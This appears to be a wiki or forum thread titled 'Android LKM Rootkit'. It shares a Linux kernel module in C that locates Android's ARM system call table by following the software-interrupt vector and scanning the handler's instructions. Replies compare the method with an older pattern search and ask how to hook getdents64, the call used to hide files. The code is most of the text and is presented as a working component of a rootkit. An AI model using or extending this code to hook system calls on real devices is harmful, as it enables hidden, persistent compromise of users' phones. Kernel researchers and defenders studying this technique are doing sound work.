Android LKM Rootkit

Came across this while looking around for info on sys call hooking on ARM linux. The above method wouldn't work for me on current versions of Android, so I set about trying to find another way. Since the posts in this wiki have been so helpful to me getting started understanding cross-compilation and native Android development, I thought I'd share my method for finding the sys call table. Please feel free to critique, and let me know if there's anywhere more current that I should post this instead; I couldn't find much discussion on this topic anywhere, and this wiki is linked to from a number of places.

The code is below and is commented enough that it should be pretty self-explanatory, but whenever someone else tells me their code is self-explanatory, I just feel dumb for not understanding it ;) So a few sentences of overview might help:

The method given above by fred is based on a search through the code block for pointers to sys_close, looking for a specific memory pattern to indicate when you've found the pointer that sits in the sys_call_table, then relying on the address of the table lying 6 words prior to that address. This is similar to a trick found on x86 systems as well, but is considered somewhat less reliable due to the instability of the pattern relied on. On x86 linux systems, a *somewhat* more reliable way to find the sys_call_table is to look up the sys_call interrupt handler address in the interrupt descriptor table, which is entry 0×80. Then one searches through the sys_call interrupt handler for a reference to the sys_call_table that the handler uses to look up the exact sys_call function that needs to be jumped to. My approach borrows this latter method.

On ARM linux systems, there is no IDT per-se, but the software interrupt (swi) handler is pointed to by a ldr instruction found at 0×00000008, or at 0xFFFF0008 on high-vector implementations like Android. Follow that pointer, search the function it points to for the instruction that loads the sys call table pointer, and you're off to the races. See the code for more details.

//Might not need all these, too lazy to check
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/init_task.h>
#include <linux/syscalls.h>
 
unsigned long* find_sys_call_table();
 
int init_module() {
   printk("<1> Hello, kernel!\n");
   unsigned long *sys_call_table = find_sys_call_table();
 
return 0;
}
void cleanup_module() {
   printk("<1>I'm not offended that you"
          "unloaded me.  Have a pleasant day!\n");
}
 
unsigned long* find_sys_call_table()
{
  //Address of the sofware interrupt (swi) handler in high vector ARM systems like Android
  const void *swi_addr = 0xFFFF0008;
 
  unsigned long* sys_call_table = NULL;
  unsigned long* ptr = NULL;
  unsigned long vector_swi_offset = 0;
  unsigned long vector_swi_instruction = 0;
  unsigned long *vector_swi_addr_ptr = NULL;
 
  // Get the load pc instruction from the swi
  memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
  printk(KERN_INFO "-> vector_swi instruction %lx\n", vector_swi_instruction);
 
  // Read the offset from the swi adress where the handler pointer lives
  vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
  printk (KERN_INFO "-> vector_swi offset %lx\n", vector_swi_offset);
 
  // Get the pointer to the swi handler (offset is from the load instruction location + 2 words, due to ARM quirks) 
  vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
  printk (KERN_INFO "-> vector_swi_addr_ptr %p, value %lx\n", vector_swi_addr_ptr, *vector_swi_addr_ptr);
 
  /************
   * Starting at the beginning of the handler, search for the sys_call_table address load
   * This code is the result of the /arch/arm/kernel/entry-common.S file, starting at the line
   * ENTRY(vector_swi).  You'll see that there is always a zero_fp after saving register state
   * before any function begins.  It's a good "lighthouse" to search for to make sure 
   * you've entered the stack-frame-proper before looking for the sys_call_table pointer load 
   * instruction
   ************/
 
  ptr=*vector_swi_addr_ptr;
  bool foundFirstLighthouse = false;
  unsigned long sys_call_table_offset = 0;
 
  printk (KERN_INFO "-> ptr %p, init_mm.end_code %lx\n", ptr, init_mm.end_code);
 
  // Don't search past the end of the code block.  This is a dumb bound, I should be searching till I hit the
  // equivalent of a ret in ARM, but I didn't feel like figuring it out since ARM doesn't have a ret instruction
  while ((unsigned long)ptr < init_mm.end_code && sys_call_table == NULL)
  {
    // Find the zero_fp invocation (which translates into a load of zero into R11)
    if ((*ptr & (unsigned long)0xffff0fff) == 0xe3a00000)
    {
      foundFirstLighthouse = true;
      printk (KERN_INFO "-> found first lighthouse at %p, value %lx\n", ptr, *ptr);
    }
 
    // Search for the loading of the sys_call_table (in entry-common.S, given as "adr  tbl, sys_call_table",
    // which translates to an add and a ldr.  The add loads the sys_call_table pointer) 
    if (foundFirstLighthouse && ((*ptr & (unsigned long)0xffff0000) == 0xe28f0000))
    {
      // Get the offset from the add that will contain the actual pointer
      sys_call_table_offset = *ptr & (unsigned long)0x00000fff;
      printk (KERN_INFO "-> sys_call_table reference found at  %p, value %lx, offset %lx\n", ptr, *ptr, 
 
sys_call_table_offset);
 
      // Grab that damn pointer and get on with it!
      sys_call_table = (unsigned long)ptr + 8 + sys_call_table_offset;
      printk (KERN_INFO "-> sys_call_table found at %p\n", sys_call_table);
      break;
    }
 
    ptr++;
  }
 
  return sys_call_table;
}

You're right. My technique is quick and dirty. The good point is that it work on most architectures.

The drawback is that it's not stable. FYI I rewrote the code above for Android 1.6, and NR_syscalls had changed, so I had to increment one of those hex patterns. Not a big deal, but still, you'd want something more reliable.

Your technique is nice, and should be a lot more stable. Plus, it relies on SWI and I find it beautiful :)

Thanks a lot for sharing.

Hi,

Once you have found sys_call_table

would you then e.g.,

orig_getdents64 = sys_call_table[__NR_getdents64];

Does android use the NR_syscalls or does it reference them differently ?

Cheers dude, keep up the interesting work!!!

?